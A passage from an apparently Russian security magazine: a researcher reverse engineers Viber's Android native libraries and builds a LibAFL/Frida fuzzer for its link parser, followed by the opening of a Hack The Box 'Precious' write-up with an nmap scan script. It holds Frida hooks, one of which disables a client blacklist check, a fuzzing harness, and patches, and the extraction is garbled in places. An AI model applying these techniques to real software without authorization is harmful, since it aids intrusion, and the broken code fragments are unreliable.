• libcrashlytics-common.so libcrashlytics-handler.so

libcrashlytics-trampoline.so libcrashlytics.so Firebase
Crashlytics

, , 
, , , 
 — .

• libreactnativeblob.so libreactnativejni.so libglog_init.

so libjscexecutor.so libjsijniprofiler.so libjsinspector.

so React Native
,  — .• libfb.so libfbjni.so fbjni

 — .• libfolly_futures.so Folly: Facebook Open-source Library
 — , 

.
• libfolly_json.so Folly: Facebook Open-source Library double-

conversion
 — .• libglog.so Google Logging Library

,  — 
.

• libhermes-executor-release.so libhermes.so Hermes JS
Engine

 — ICU extension for SQLite.• libicuBinder.so

 — .• libimage_processing_util_jni.so androidx.camera.core
, , 

 — .
• libimagepipeline.so libnative-filters.so libnative-

imagetranscoder.so Fresco
 — , .• libgifimage.so The GIFLIB project Fresco

 — ста рый ком понент ( )
из .

• libjingle_peerconnection_so.so libjingle

WebRTC
 —  из сос тава .• libmux.so FFmpeg fftools

 — .• libpl_droidsonroids_gif.so android-gif-drawable
 — .• librenderscript-toolkit.so RenderScript

 — .• libsigner.so Adjust SDK for Android
 — .• libspeexjni.so Speex

 — SQLite for Android.• libsqliteX.so

,  —
.

• libtensorflowlite_gpu_jni.so libtensorflowlite_jni.so

TensorFlow
 — .• libyoga.so Yoga

, ,
, , , 

, ,  — самопис ные
биб лиоте ки c исполь зовани ем open source кода.

• libCrossUnblocker.so libFlatBuffersParser.so

liblinkparser.so libnativehttp.so libsvg.so libViberRTC.

so libvideoconvert.so libVoipEngineNative.so

В ито ге у нас появ ляет ся спи сок инте рес ных биб лиотек. Сос тавлял ся он
исхо дя все го из одно го усло вия: как мож но боль ше самопис ного кода, мень- 
ше ком понен тов open source. Вот этот спи сок:

;• libCrossUnblocker.so

;• libFlatBuffersParser.so

;• liblinkparser.so

;• libnativehttp.so

;• libsvg.so

;• libViberRTC.so

;• libvideoconvert.so

.• libVoipEngineNative.so

ÔÓÍÊÖÈÈ

Преж де чем ана лизи ровать какую-либо фун кцию, сна чала нуж но выяс нить,
может ли ата кующий до нее доб рать ся. Для это го отсорти руем по при ори тету
все биб лиоте ки и фун кции, а затем про верим, отку да вызыва ются пос ледние.
Для ана лиза Java-кода я буду исполь зовать связ ку jadx (деком пиляция) +
Android Studio (рефак торинг) +  (ана лиз гра фов свя зей перемен- 
ных, фун кций и дан ных).

Understand

До пол нитель но про верим в каж дой биб лиоте ке наличие JNI-фун кций.
Может быть, есть те, что исполь зуют ся с помощью .RegisterNatives

libFlatBuffersParser.so
При более деталь ном ана лизе выяс няет ся, что это open source биб лиоте ка

. Оставля ем ее ана лиз на потом.FlatBuffers

libsvg.so
Поль зуем ся ути литой strings и Ghidra, что бы получить стро ки из бинар ного
фай ла. По ним мы понима ем, что код написан на C++:

[...] 
_ZTVN10__cxxabiv121__vmi_class_type_infoE 
_ZNSt6__ndk119__shared_weak_countD2Ev 
_ZTINSt6__ndk119__shared_weak_countE 
__android_log_print 
_ZNKSt6__ndk16locale9has_facetERNS0_2idE 
_ZNKSt6__ndk16locale9use_facetERNS0_2idE 
[...] 

Про верим еще и наличие RTTI-информа ции — в нашем слу чае уда ча бла- 
гово лит нам, таковая име ется. С помощью пла гина для Ghidra 

 вос ста новим струк туру клас сов
кода C++.

Ghidra C++
Class and Run Time Type Information Analyzer

Ре зуль тат вос ста нов ления RTTI-информа ции — клас сы C++ и их методы

На пер вый взгляд, здесь исполь зует ся собс твен ная SVG-биб лиоте ка, что
хорошо. В ходе даль нейше го ана лиза Java-кода (ана лиз дерева вызовов)
выяс няет ся, что фун кции биб лиоте ки задей ство ваны в основном для заг рузки
ассе тов при ложе ния (дирек тория  в APK-фай ле), а это нам
не под ходит. Одна ко же цепоч ка вызовов натив ной фун кции 

→  исполь зует ся для пар синга сти керов. А вот это уже инте рес но!

Но я решил оста вить эту фун кцию на потом, пос коль ку моя инту иция под ска- 
зала: бес смыс ленно писать пар сер SVG с нуля. Соот ветс твен но, исполь зует- 
ся что-то из open source.

./assets/svg
nativeParseFd

parseFile

Граф вызова фун кций SVG native в Understand

libnativehttp.so
В ходе ана лиза воз ника ет воп рос, с какой целью соз давалась эта биб лиоте- 
ка, ведь кажет ся, что ее воз можнос ти не очень широки: обер тки над фун кци- 
ями обра бот ки сетевых дан ных. Обра бот чики при воз никно вении событий
вызыва ют все тот же Java-код, а не что-то натив ное. Может быть, здесь ког- 
да-то были какие-то фун кци ональ ные воз можнос ти, ну или пред полага лись?
Подоб ное я уже видел в мес сен дже ре Telegram: legacy-кода хоть отбавляй,
от такого боль шого attack surface понача лу чешут ся руки, но пос ле ана лиза
все вста ет на свои мес та. Поэто му, ува жаемый читатель, при нимай во вни- 
мание, что иног да могут встре чать ся не толь ко dead code, но и dead libraries,
на ана лиз которых мож но впус тую пот ратить кучу цен ного вре мени.

Здесь же со вре менем (читай — с более глу боким ана лизом) все ста- 
новит ся понят но. Эта биб лиоте ка исполь зует ся дру гими биб лиоте ками, то
есть фун кции, отве чающие за обра бот ку сетевых дан ных, дол жны быть реали- 
зова ны в дру гом мес те. По сво ей сути это interceptor, который может исполь- 
зовать ся, нап ример, для счет чика сетево го тра фика или для сбо ра ана лити ки.

Äðóãèå áèáëèîòåêè
Ни же опи саны мои дей ствия, свя зан ные все го с одной биб лиоте кой. Я нашел
ее инте рес ной с точ ки зре ния поис ка low-hanging fruits, поэто му оста вил
на потом ана лиз осталь ных биб лиотек:

;• libCrossUnblocker.so

;• libvideoconvert.so

;• libViberRTC.so

.• libVoipEngineNative.so

Но сто ит приз нать, что имен но в этих биб лиоте ках могут быть най дены инте- 
рес ные уяз вимос ти, пос коль ку в них зак лючен набор фун кций VoIP, в которых
дос таточ но мест для ошиб ки.

Продолжение статьи →
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ÀÍÀËÈÇ ÖÅËÈ

В качес тве подопыт ной я выб рал биб лиоте ку  по при чине,

опи сан ной выше.

liblinkparser.so

Ана лиз этой биб лиоте ки начал ся с деталь ного реверс-инжи нирин га. Нас- 
толь ко деталь ного, что я пот ратил на это два дня и забыл про верить на прак- 
тике, исполь зуют ся ли вооб ще фун кции из этой биб лиоте ки и могут ли быть
выз ваны ата кующим с его вход ными дан ными. Я затянул с реверс-инжи- 
нирин гом, потому что фун кци ональ ные воз можнос ти показа лись мне весь ма
инте рес ными с точ ки зре ния поис ка уяз вимос тей.

В качес тве основно го инс тру мен та для реверс-инжи нирин га я выб рал
Binary Ninja, пред варитель но срав нив все име ющиеся инс тру мен ты. Дав- 
ным-дав но я делал , по боль шей час ти оно до сих пор
акту аль но, толь ко у BN ста ло гораз до боль ше плю сов. Я рекомен дую так пос- 
тупать каж дый раз, потому что с исполь зовани ем раз ных инс тру мен тов удоб- 
нее ревер сить раз ные тар геты. Этот воп рос сто ит осо бен но остро, если вре- 
мя на ана лиз огра ничен но.

срав нение с IDA Pro

Но мес тами я исполь зовал IDA Pro, ког да появ лялась пот ребность про- 
водить отладку биб лиотек: делать это с помощью одно го GDB/LLDB ока- 
залось, мяг ко ска жем, неудоб но (у BN отладчик еще сырой, а пла гины-связ ки
не всег да хорошо работа ют). Будь это реаль ный слу чай, а не тес товый, ско- 
рее все го, я бы выб рал дру гой инс тру мент в качес тве основно го. В даль- 
нейшем мне пот ребу ется авто мати зация про цес сов реверс-инжи нирин га,
удоб ное написа ние экс пло ита, перенос уже име ющих ся дан ных меж ду вер- 
сиями биб лиотек, отладка сра зу нес коль ких модулей и тому подоб ное. Все
это делать я боль ше при вык в Ghidra, но сей час, как я уже ска зал, важ на ско- 
рость.

Ре комен дую прис мотреть ся к Binary Ninja

В ходе ревер са я выяс нил, за что отве чает инте ресу ющая меня биб лиоте ка:
пар синг URL-адре са и метадан ных сай та, а так же генера ция preview
для ссыл ки, которая была отправ лена в лич ных сооб щени ях поль зовате лю
или самому себе. Теперь же мне нуж но было доказать, что кон крет ная фун- 
кция отве чает за это дей ствие в при ложе нии.

Äîñÿãàåìîñòü ôóíêöèè
В качес тве стен да я выб рал эму лятор на QEMU (Android Virtual Device) архи- 
тек туры x86_64. Пос ле тес тового запус ка Viber на эму лято ре ста ло понят но,
что какие-либо механиз мы защиты отсутс тву ют, и это не мог ло не радовать.
Заг рузил туда сер вер Frida, JS-скрип ты брал пря мо из jadx, что сыг рало в ито- 
ге со мной злую шут ку (об этом ниже).

Пер вой фун кци ей для ана лиза (спой лер: и пос ледней) я выб рал
:nativeGeneratePreview

   let LinkParser = Java.use("com.viber.liblinkparser.LinkParser");
    

 
LinkParser["nativeGeneratePreview"].implementation = function (url,
http) {
   console.log(`LinkParser.nativeGeneratePreview is called: url=${
url}, http=${http}`);
       let result = this["nativeGeneratePreview"](url, http);
   console.log(`LinkParser.nativeGeneratePreview result=${result}`);
    return result;
};

Скрипт, к сожале нию, не обра баты вал ся: Frida утвер жда ла, что дан ный класс
не най ден. Я про бовал изме нить кон фигура ции запус ка Frida, про извел трас- 
сиров ку натив ных фун кций с помощью frida-trace — все работа ло. Здесь мож- 
но было бы и оста новить ся, пос коль ку факт того, что фун кция вызыва ется,
доказан, но мне ста ло инте рес но, почему не работа ет Frida, видимых на то
при чин я не находил. Я про верил наличие заг ружен ных клас сов:

Java.enumerateLoadedClasses({
     onMatch: function(className) {
       console.log(className);
   },
});

Класс не был заг ружен (что, в прин ципе, логич но, потому что фун кции при- 
ложе ния я еще не вызывал). Тог да я решил поп робовать вруч ную заг рузить
класс (может, внут ри работа ет кас томный заг рузчик?):

Java.enumerateClassLoaders({
    onMatch: function(loader){

         Java.classFactory.loader = loader;
        var LinkParserClass;

       try{
             LinkParserClass = Java.use("com.viber.liblinkparser.

LinkParser");
             LinkParserClass.nativeGeneratePreview.implementation =

function(){
               console.log("[+] Inside nativeGeneratePreview method"
);
           }
       }catch(error){
           if(error.message.includes("ClassNotFoundException")){
               console.log("Class not found");
           }
       }
   }
});

Это не дало никако го резуль тата, ни положи тель ного, ни отри цатель ного.
И тут меня осе нило! Я забыл , без него код не работа ет.

В прош лом я исполь зовал Frida не для Android, поэто му сов сем упус тил
из вида столь важ ную деталь, а jadx мне о ней не напом нил. В ито ге все пре- 
дыду щие скрип ты успешно отра баты вали.

Java.perform

Пе рех ват вызова натив ной фун кции nativeGeneratePreview

Да лее я про дол жил иссле дова ние и выяс нил, что некото рые URL находят ся
в blacklist — для них preview не соз дает ся:

;• rakuten-viber.atlassian.net

.• jira.vibelab.net

 

 

$ timeout 5 curl jira.vibelab.net ; echo $? 
124

Из любопытс тва я раз решил соз дание preview для этих сай тов с помощью
Frida:

  Java.perform(function () {
      let LinkParser = Java.use("com.viber.liblinkparser.LinkParser");
      const moduleName = "liblinkparser.so";
      const moduleBaseAddress = Module.findBaseAddress(moduleName);
      const functionRealAddress = moduleBaseAddress.add(
0x0000000000013560);
    Interceptor.attach(functionRealAddress, {

         onEnter: function(args) {
           console.log(`check_link_in_black_list = ${args[0]}`);
       },

         onLeave: function(retval) {
           console.log(`return = ${retval}`);
           retval.replace(0);
       }
   });
})

Но ничего инте рес ного из это го не выш ло, дос тупа нет. Стран но, зачем тог да
их нуж но было бло киро вать? Этот воп рос я оста вил на потом, может быть,
есть какой-то спо соб получить дос туп к этим сай там со сто роны обслу жива- 
ющих сер веров Viber через кли ент.

Ад реса в чер ном спис ке

Ôàççèíã
Пот ратив опре делен ное вре мя на реверс-инжи ниринг, я при шел к выводу,
что гла зами и инту ицией быс тро уяз вимость най ти не получит ся, поэто му
надо при менить дру гие методы.

Раз вре мени у нас мало, выбира ем единс твен ный, но эффектив ный спо- 
соб поис ка уяз вимос тей — фаз зинг. Кро ме него, конеч но, мож но при менить
сра зу нес коль ко спо собов. Нап ример, ста тичес кий ана лиз на базе деком- 
пилиро ван ного кода с помощью  или дру гих инс тру мен тов, taint-ана лиз
и ана лиз, осно ван ный на symbolic и concolic execution опас ных фун кций,
которые исполь зуют ся в прог рамме (я обыч но поль зуюсь встро енны ми воз- 
можнос тями Ghidra на базе PCode, а так же , ,  и дру гими).
Не сле дует забывать и о поис ке 1-day-уяз вимос тей в open source коде
с помощью ана лиза binary diffing (я при меняю Ghidra Version Tracking и ,
а так же руч ной поиск в слу чае хороше го реверс-инжи нирин га кода).

Joern

angr Miasm BAP

BinDiff

В голову при ходит нес коль ко вари антов фаз зинга:
1. AFL++ в эму лято ре с инс тру мен таци ей на базе Frida.
2. AFL++ на Android-устрой стве с инс тру мен таци ей на базе QEMU.
3. AFL++ на хос те с инс тру мен таци ей на базе QEMU.
4. Honggfuzz/AFL++ и QBDI.
5. LibAFL в эму лято ре с инс тру мен таци ей на базе Frida.

Пер вый вари ант не хотелось исполь зовать из-за пред положе ния, что сбор ка
AFL++ под Android зай мет мно го вре мени (я имею в виду вре мя, которое
будет пот рачено на изу чение про цес са, а не на саму сбор ку того же AOSP).

Рас смот рим вто рой вари ант. У меня име лось тес товое устрой ство с архи- 
тек турой AArch64. Я подумал, что здесь может воз никнуть еще боль ше проб- 
лем со сбор кой. Кро ме того, необ ходимо было бы собирать обвязку
для QEMU для Android AArch64, а пос ледний мой печаль ный опыт говорил, что
сбор ка обвязки под ARM быс тро успе хом не увен чает ся.

Ва риант за номером три я рас смат ривал как вто рос тепен ный,
об основном я рас ска жу ниже. Если говорить о вари анте четыре, то я не имел
опы та работы с QBDI, но каж дый раз очень хочу поп робовать. Видимо, не в
этот раз.

На конец, пятый вари ант. Мне этот вари ант показал ся иде аль ным по нес- 
коль ким при чинам:

с LibAFL я уже работал;•
я Rust-раз работ чик, а зна чит, проб лемы будут решать ся быс трее;•
мне казалось, что проб лем со сбор кой Frida воз никнет не мно го;•
у Rust луч ше обсто ят дела с кросс-ком пиляци ей.•

Для начала я решил соб рать тес товый фаз зер, который идет в ком плек те
с LibAFL. С ходу же у меня воз никли проб лемы, которых, к чес ти раз работ- 
чиков, было мало. Исправ лялись они прос тым пат чем:

diff --git a/libafl/src/bolts/minibsod.rs b/libafl/src/bolts/
minibsod.rs
index 59f6ae6b..40d8e3d5 100644
--- a/libafl/src/bolts/minibsod.rs
+++ b/libafl/src/bolts/minibsod.rs
@@ -10,7 +10,10 @@ use libc::siginfo_t; 
use crate::bolts::os::unix_signals::{ucontext_t, Signal}; 

/// Write the content of all important registers 
-#[cfg(all(target_os = "linux", target_arch = "x86_64"))]
+#[cfg(all(
+    any(target_os = "linux", target_os = "android"),
+    target_arch = "x86_64"
+))]
#[allow(clippy::similar_names)] 
pub fn dump_registers<W: Write>( 
    writer: &mut BufWriter<W>, 
@@ -408,7 +411,10 @@ fn dump_registers<W: Write>( 
    Ok(()) 
} 

-#[cfg(all(target_os = "linux", target_arch = "x86_64"))] 
+#[cfg(all(
+    any(target_os = "linux", target_os = "android"),
+    target_arch = "x86_64"
+))]
fn write_crash<W: Write>( 
    writer: &mut BufWriter<W>, 
    signal: Signal, 

По доб ного рода исправ ления говорят о том, что поль зовате ли нечас то
исполь зовали LibAFL на Android x86_64 или вооб ще не исполь зовали.

Для ком пиляции LibAFL я взял Android NDK: мож но  либо
соб рать самому. Затем я соб рал фаз зер  и успешно его про- 
тес тировал в эму лято ре.

ска чать готовый
frida_libpng

Harness
С harness все выш ло не так глад ко, как я ожи дал, поэто му я вынес его
в самос тоятель ный раз дел.

Про дол житель ное вре мя я про водил реверс-инжи ниринг, что бы понять,
какую фун кцию мож но вызывать без пос ледс твий (то есть для нее не тре бует- 
ся кон текст выпол нения), и при этом ее было бы инте рес но фаз зить. Все
детали ревер са кода C++ я так тично опу щу, пос коль ку об этом в интерне те
и так написа но немало. Могу толь ко ска зать, что для упро щения работы
с инс тру мен тами я поль зуюсь сво ими  (так же не сто ит
забывать про собс твен ный мощ ный репози торий скрип тов Ghidra) и 

.

скрип тами для Ghidra
снип- 

петами для Binary Ninja
Бльшая часть работы с сетью про исхо дит в Java-коде. Но есть та,

которая отве чает за обра бот ку дан ных, получен ных от Java-кода (заг рузка
сай тов для preview). К сожале нию, эти фун кции не пред став ляет ся воз можным
как-то про ана лизи ровать в корот кий про межу ток вре мени, пос коль ку вся их
ини циали зация про исхо дит впе ремеш ку с исполь зовани ем кода на Java.
Необ ходимо вре мя, что бы реали зовать все заг лушки при ини циали зации,
а уже потом, нап ример, мож но фаз зить фун кции раз бора дан ных. Под общей
ини циали заци ей я имею в виду ини циали зацию пар серов: для каж дого типа
дан ных исполь зует ся свой пар сер (встро енные сай ты, изоб ражения,
метадан ные сай та и тому подоб ное).

Так же есть конеч ный авто мат для пар синга HTML. Тело сай та счи тыва ется
потоком и чан ками пода ется на вход конеч ному авто мату, который опре деля- 
ет, какого типа дан ные внут ри HTML. Затем в зависи мос ти от типа дан ных
вызыва ется тот или иной экс трак тор информа ции:

;• BareTitleExtractor

;• ImgTagExtractor

;• LinkTagExtractor

 и дру гие.• MetaTagExtractor

Всё это весь ма инте рес ные цели для ана лиза, но их слож ность и зависи мость
от Java-кода оста нав ливали меня от попыток про ана лизи ровать их.

В ито ге была най дена фун кция, которая занима ется пар сингом URL-стро- 
ки ( ). На пер вый взгляд, она отлично под ходила для ана лиза

и фаз зинга.

parse_link

Прис тупим к написа нию обер тки для фун кции-цели. Я начал выс читывать
и под бирать офсе ты необ ходимых мне фун кций, затем занимал ся допол- 
нитель ным реверс-инжи нирин гом нуж ных струк тур:

    const ptrdiff_t ADDR_JNI_ONLOAD = 0x0000000000011640;
    const ptrdiff_t ADDR_PARSE_LINK = 0x000000000002F870;
    const ptrdiff_t ADDR_COPY_JNI_STRING_FROM_STR = 0x0000000000011160;

[...]
  typedef struct ParserResult

{
     struct String user_agent_string;
     struct String user_agent_info_string;
     struct String accept_string;
     struct String mime_type_string;
 } ParserResult;

[...]

При ана лизе я выяс нил, что перед вызовом целевой фун кции ини циали зиру- 
ются дан ные из дру гой биб лиоте ки — . Вот тут я и стол кнул- 

ся с проб лемой, которая отня ла у меня прак тичес ки два дня. В нед рах фун- 
кции  про исхо дит вызов фун кции 

из биб лиоте ки . В harness же я, конеч но, исполь зовал фун- 

кции «в сыром виде»:

libicuBinder.so

parse_link uidna_nameToASCII_UTF8
libicuBinder.so

[...]
 Functions *load_functions()

{
      LIBC_SHARED = dlopen("/data/local/tmp/libc++_shared.so", RTLD_NOW |
RTLD_GLOBAL);
     
 
LIBICU_BINDER = dlopen("/data/local/tmp/libicuBinder.so", RTLD_NOW

| RTLD_GLOBAL);
     
 
LIBLINKPARSER = dlopen("/data/local/tmp/liblinkparser.so", RTLD_NOW

| RTLD_GLOBAL);
           
 
if (LIBLINKPARSER != NULL && LIBC_SHARED != NULL && LIBICU_BINDER

!= NULL)
 {
          int (*JNI_OnLoad)(void *, void *) = dlsym(LIBLINKPARSER,
"JNI_OnLoad");
       void (*binder_init)() = dlsym(LIBICU_BINDER,
"_ZN22IcuSqliteAndroidBinder4initEv");

           if (JNI_OnLoad != NULL && binder_init != NULL /* && 
binder_getInstance != NULL */)
   {

      Dl_info jni_on_load_info;
      dladdr(JNI_OnLoad, &jni_on_load_info);

        size_t jni_on_load_addr = (size_t)jni_on_load_info.dli_saddr;

      Dl_info binder_init_info;
      dladdr(binder_init, &binder_init_info);

        size_t binder_init_addr = (size_t)binder_init_info.dli_saddr;

          int diff_parse_link = ADDR_PARSE_LINK - ADDR_JNI_ONLOAD;
   

  
     int diff_copy_jni_string_from_str =
ADDR_COPY_JNI_STRING_FROM_STR - ADDR_JNI_ONLOAD;

          size_t parse_link_addr = jni_on_load_addr + diff_parse_link;
          size_t copy_jni_string_from_str_addr = jni_on_load_addr +

diff_copy_jni_string_from_str;
      printf("[i] parse_link_addr: %zX\n", parse_link_addr);

      printf("[i] copy_jni_string_from_str_addr: %zX\n",
copy_jni_string_from_str_addr);

       
   

     void (*parse_link)(ParserResult *, String *) = (void (*)(
ParserResult *, String *))(parse_link_addr);

       
     

     void (*copy_jni_string_from_str)(String *, const char *) = (
void (*)(String *, const char *))(copy_jni_string_from_str_addr);

            if (parse_link != NULL && copy_jni_string_from_str != NULL)
     {

           Functions *functions = (Functions *)malloc(sizeof(Functions))
;

         functions->parse_link = parse_link;
         functions->copy_jni_string_from_str =

copy_jni_string_from_str;
        return functions;

     }
[...]

И каж дый раз при запус ке harness я получал segmentation fault. Для пер вично- 
го ана лиза я сна чала исполь зовал strace. Мне уда лось понять, что

 при вызове фун кции  выпол няет

ини циали зацию, но что-то идет не так, в резуль тате чего внут ри вызыва емой
фун кции про исхо дит вызов дру гой фун кции по адре су . В ито ге приш лось

ревер сить биб лиоте ку , как и по час ти ини циали зации, так

и по час ти вызова фун кции .

libicuBinder.so uidna_nameToASCII_UTF8

0
libicuBinder.so

uidna_nameToASCII_UTF8
За тем я сна чала попытал ся отла дить эту биб лиоте ку в GDB, потом

перешел в IDA (исполь зовал IDA ), так как к тому вре- 

мени уже вос ста новил часть фун кций и было бы глу по не исполь зовать эту
информа цию при отладке.

android_x64_server

От ладка в IDA заг ружен ной в память биб лиоте ки libicuBinder.so

В ито ге я понял, в чем дело. Сна чала в сис теме Android выпол няет ся поиск
биб лиотек, в которых реали зова но , затем про исхо дит поиск необ ходимых
сим волов export-фун кций, что бы их в даль нейшем исполь зовать (поэто му
биб лиоте ка и называ ется Binder). Осно ву для имен сим волов биб лиоте ка
берет изнутри, а вот допол нение (вер сия ICU) получа ет с помощью Java-
вызова. Имен но по этой при чине не мог ли прог рузить ся необ ходимые сим- 
волы фун кций. Я добавил в harness модифи кацию вер сии в памяти
без вызова Java-кода (для каж дого system image при ходит ся менять вер сию,
что бы все работа ло, в будущем мож но, конеч но, авто мати зиро вать про цесс):

ICU

  void set_icu_version(ptrdiff_t binder_init_addr)
{
      ptrdiff_t diff = g_ICU_VERSION - ICU_SQLITE_ANDROID_BINDER__INIT;
      ptrdiff_t version_addr = binder_init_addr + diff;
   printf("[i] original ICU_VERSION = %X\n", *(uint32_t *)version_addr
);
    *(uint32_t *)version_addr = ICU_VERSION;
 return;
}

Пос ле запус ка фаз зера с обновлен ным harness начали слу чать ся мно гочис- 
ленные кра ши. Ста ло ясно, что опять что-то идет не так. В этот раз фун кция

 в биб лиоте ке
 кида ет исклю чение из-за того, что не может соз дать wide-

стро ку из бай тов. Я уже не стал про верять (рекомен дую сде лать это тебе,
читатель), есть ли воз можность у ата кующе го отправ лять сырые бай ты в виде
сооб щения или нет, а прос то испра вил фаз зер, что бы тот генери ровал валид- 
ные дан ные UTF-8.

std::codecvt<InternT,ExternT,StateT>::do_in
liblinkparser.so

Пер вый успешный запуск фаз зера
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В конеч ном сче те пок рытие кода очень низ кое, генера ции новых вход ных дан- 
ных прак тичес ки не про исхо дит. По этой при чине я захотел снять трас су
исполне ния для ана лиза. Сде лать это мож но нес коль кими спо соба ми, но на
повер хнос ти, как мне казалось, был спо соб с помощью того же LibAFL.
К сожале нию, метод сня тия пок рытия с помощью Frida работа ет толь ко
на архи тек туре AArch64:

 
 

 
 
[...] 
 

 
 
[...] 
 
 

$ ./frida_fuzzer --help

--drcov        Enable  (AArch64 only)DrCov

По это му мне приш ла в голову идея запус тить фаз зер на плат форме AArch64.
Заод но исполь зую отдель ное физичес кое устрой ство вмес то эму лято ра.

И тут сно ва посыпа лись проб лемы, начав шиеся со сбор ки фаз зера. Приш- 
лось нем ного поиг рать с toolchain для AArch64, да и в целом с Android NDK,
так как пос ледние вер сии . Вся кие гряз ные трю ки
и пат чи не помог ли, поэто му я прос то стал исполь зовать ста рую вер сию NDK.

не хотят работать с Rust

За тем ста ла воз никать ошиб ка при сбор ке . Суть

ошиб ки сос тоит в том, что для сбор ки Frida Gum исполь зуют ся заголо воч ные
фай лы из сис темы (x86_64 в моем слу чае), что несов мести мо с AArch64
(проб лема с ). Я испра вил это, скло ниро вав репози торий зависи- 

мос ти (  целиком), и руками испра вил файл , добавив
дирек тиву для исполь зования  из Android NDK. Это сра бота ло.

Но появи лась дру гая проб лема: в Android NDK не было необ ходимо го заголо- 
воч ного фай ла , что, в прин ципе, понят но. Тог да я сно ва добавил
дирек тиву, в которой говори лось, где мож но взять этот файл.

frida-gum-sys crate

pthread.h
frida-rust build.rs

sysroot

frida-gum.h

diff --git a/frida-gum-sys/build.rs b/frida-gum-sys/build.rs
index 6afbb737..adcb2c02 100644
--- a/frida-gum-sys/build.rs
+++ b/frida-gum-sys/build.rs
@@ -65,9 +65,11 @@ fn main() { 
        bindings.clang_arg("-Iinclude") 
    } else { 
        bindings 
+        bindings.clang_arg("-Iinclude")
    }; 

    let bindings = bindings 
+        .clang_arg("--sysroot=./ndk/22.1.7171670/toolchains/llvm/
prebuilt/linux-x86_64/sysroot/")
        .header_contents("gum.h", "#include "frida-gum.h"") 
        .header("event_sink.h") 
        .header("invocation_listener.h") 

Даль ше воз никла дру гая проб лема: новая вер сия  прос то

не собира ется — видимо, раз работ чик недав но что-то сло мал или выш ла
новая вер сия Frida, и API изме нил ся. Я починил и это: ошиб ка была ста рая,
это был фикс какой-то дру гой ошиб ки, из-за чего на более новых вер сиях
Frida фун кция перес тала работать.

frida-gum

diff --git a/frida-gum-sys/src/lib.rs b/frida-gum-sys/src/lib.rs
index d689106a..f8d5cbed 100644
--- a/frida-gum-sys/src/lib.rs
+++ b/frida-gum-sys/src/lib.rs
@@ -16,10 +16,4 @@ mod bindings { 

pub use bindings::*; 

-#[cfg(not(any( 
-    target_os = "macos",
-    target_os = "ios",
-    target_os = "windows",
-    target_os = "android"
-)))]
pub use _frida_g_object_unref as g_object_unref; 

Сно ва посыпа лись ошиб ки, толь ко в дру гом мес те: кон флик ты зависи мос тей.
Нес коль ко крей тов исполь зовали раз ные вер сии зависи мос тей. Выяс нилось,
что в  при меня ется ста рая вер сия  и .

Здесь я оста новил ся, потому что пос ле обновле ния вер сий зависи мос ти
всплы ла куча оши бок в , которые исправ лять я уже не хотел,

пос коль ку вре мени на это не оста валось. Сей час я уже занима юсь исправ- 
лени ем и попыт кой соб рать  для AArch64, поэто му о при мене- 
нии LibAFL + Frida на AArch64-архи тек туре рас ска жу в сле дующий раз.

libafl_frida frida-gum frida-gum-sys

libafl_frida

libafl_frida

В ито ге я решил пой ти дру гим путем — всле пую без пок рытия пытать ся
улуч шить фаз зер. Мутации и сырые вход ные дан ные, которые исполь зуют ся
в фаз зере, не под ходят для нашей цели, так как у нас сто ит про вер ка
на валид ную стро ку UTF-8. Я решил перепи сать фаз зер с исполь зовани ем
токенай зера. Что бы сде лать это гра мот но, необ ходимо вре мя, которо го
у меня нет, поэто му я реали зовал при митив ный токенай зер, как в работе

.Tartiette: Snapshot fuzzing with KVM and libAFL
В ито ге фаз зер стал вес ти себя зна читель но луч ше и выдавать ожи даемый

от него резуль тат.

ÂÛÂÎÄÛ

Та ким обра зом мы прош ли бес хитрос тный путь с самого начала и до потен- 
циаль ного нахож дения уяз вимос ти. Мож но пов торить этот путь самому,
а мес тами мно гое улуч шить, рас полагая сво бод ным вре менем. К тому же
мно жес тво инте рес ных момен тов в ана лизе я оста вил на потом, поэто му,
дорогой читатель, изу чай и про буй! На  ты смо жешь най ти исходные
коды фаз зера и harness.

GitHub

Кро ме того, такой под ход к поис ку уяз вимос тей мож но при менить ко мно- 
гим при ложе ниям, которые в сво ем сос таве име ют раз деля емые биб лиоте ки.

https://github.com/saruman9/binja_vs_ida
https://joern.io/
https://angr.io/
https://github.com/cea-sec/miasm
https://github.com/BinaryAnalysisPlatform/bap
https://www.zynamics.com/bindiff.html
https://developer.android.com/ndk/downloads
https://github.com/AFLplusplus/LibAFL/tree/main/fuzzers/frida_libpng
https://github.com/saruman9/ghidra_scripts
https://github.com/saruman9/binja_snippets
https://developer.android.com/guide/topics/resources/internationalization
https://en.cppreference.com/w/cpp/locale/codecvt/in
https://github.com/rust-lang/rust/pull/85806
https://www.lse.epita.fr/lse-winter-days-2021/slides/lse_winter_days_tartiflette.pdf
https://github.com/saruman9/viber_linkparser_fuzzer


HTB

PRECIOUS

ЭКСПЛУАТИРУЕМ
ПРОСТУЮ RCE 

В ПРИЛОЖЕНИИ НА RUBY

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этом рай тапе я покажу, как экс плу ати- 
ровать уяз вимость в при ложе нии на Ruby,
воз никшую из-за неп роверен ной десери- 
али зации. По дороге для прод вижения
заюзаем баг в pdfkit и поищем учет ные дан- 
ные на уда лен ном хос те.

На ша цель — зах ват рута на тре ниро воч ной машине Precious с пло щад ки
. Уро вень слож ности — лег кий.Hack The Box

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.189    precious.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Мы наш ли все го два откры тых пор та:
порт 22 — служ ба OpenSSH 8.4p1;•
порт 80 — веб-сер вер Nginx 1.18.0.•

Про SSH, как всег да на машинах с HTB, мож но забыть, пока у нас нет учет ных
дан ных. Сра зу откро ем бра узер для изу чения веб-сай та.

Справка: брутфорс учеток
Пос коль ку в начале про хож дения у нас нет учет ных дан ных, нет и смыс ла изу- 
чать служ бы, которые всег да тре буют авто риза ции (нап ример, SSH). Единс- 
